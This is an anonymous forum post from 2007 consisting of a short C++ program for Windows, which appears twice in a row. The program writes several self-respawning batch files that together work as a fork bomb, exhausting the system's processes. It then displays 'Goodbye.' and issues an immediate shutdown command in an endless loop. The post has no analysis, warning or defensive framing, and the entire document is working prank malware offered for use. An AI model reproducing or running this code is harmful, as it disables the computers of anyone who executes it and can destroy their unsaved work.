Name: Anonymous 2007-09-28 16:59 ID:1EXavhE0
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
int main() {
ofstream I("I.bat");
I<<"@echo off"<<endl;
I<<":own"<<endl;
I<<"start I.bat"<<endl;
I<<"goto own"<<endl;
I.close();
ofstream am("am.bat");
am<<"@echo off"<<endl;
am<<":own"<<endl;
am<<"start am.bat"<<endl;
am<<"goto own"<<endl;
am.close();
ofstream your("your.bat");
your<<"@echo off"<<endl;
your<<":own"<<endl;
your<<"start your.bat"<<endl;
your<<"goto own"<<endl;
your.close();
ofstream worst("worst.bat");
worst<<"@echo off"<<endl;
worst<<":own"<<endl;
worst<<"start worst.bat"<<endl;
worst<<"goto own"<<endl;
worst.close();
ofstream nightmare("nightmare.bat");
nightmare<<"@echo off"<<endl;
nightmare<<":own"<<endl;
nightmare<<"start I.bat"<<endl;
nightmare<<"start am.bat"<<endl;
nightmare<<"start your.bat"<<endl;
nightmare<<"start worst.bat"<<endl;
nightmare<<"start nightmare.bat"<<endl;
nightmare<<"goto own"<<endl;
nightmare.close();
system("nightmare.bat");
Sleep(20000);
system("msg * Goodbye.");
while (1) {
system("shutdown -s -t 00");
}
return 0;
}
#include <fstream>
#include <windows.h>
using namespace std;
int main() {
ofstream I("I.bat");
I<<"@echo off"<<endl;
I<<":own"<<endl;
I<<"start I.bat"<<endl;
I<<"goto own"<<endl;
I.close();
ofstream am("am.bat");
am<<"@echo off"<<endl;
am<<":own"<<endl;
am<<"start am.bat"<<endl;
am<<"goto own"<<endl;
am.close();
ofstream your("your.bat");
your<<"@echo off"<<endl;
your<<":own"<<endl;
your<<"start your.bat"<<endl;
your<<"goto own"<<endl;
your.close();
ofstream worst("worst.bat");
worst<<"@echo off"<<endl;
worst<<":own"<<endl;
worst<<"start worst.bat"<<endl;
worst<<"goto own"<<endl;
worst.close();
ofstream nightmare("nightmare.bat");
nightmare<<"@echo off"<<endl;
nightmare<<":own"<<endl;
nightmare<<"start I.bat"<<endl;
nightmare<<"start am.bat"<<endl;
nightmare<<"start your.bat"<<endl;
nightmare<<"start worst.bat"<<endl;
nightmare<<"start nightmare.bat"<<endl;
nightmare<<"goto own"<<endl;
nightmare.close();
system("nightmare.bat");
Sleep(20000);
system("msg * Goodbye.");
while (1) {
system("shutdown -s -t 00");
}
return 0;
}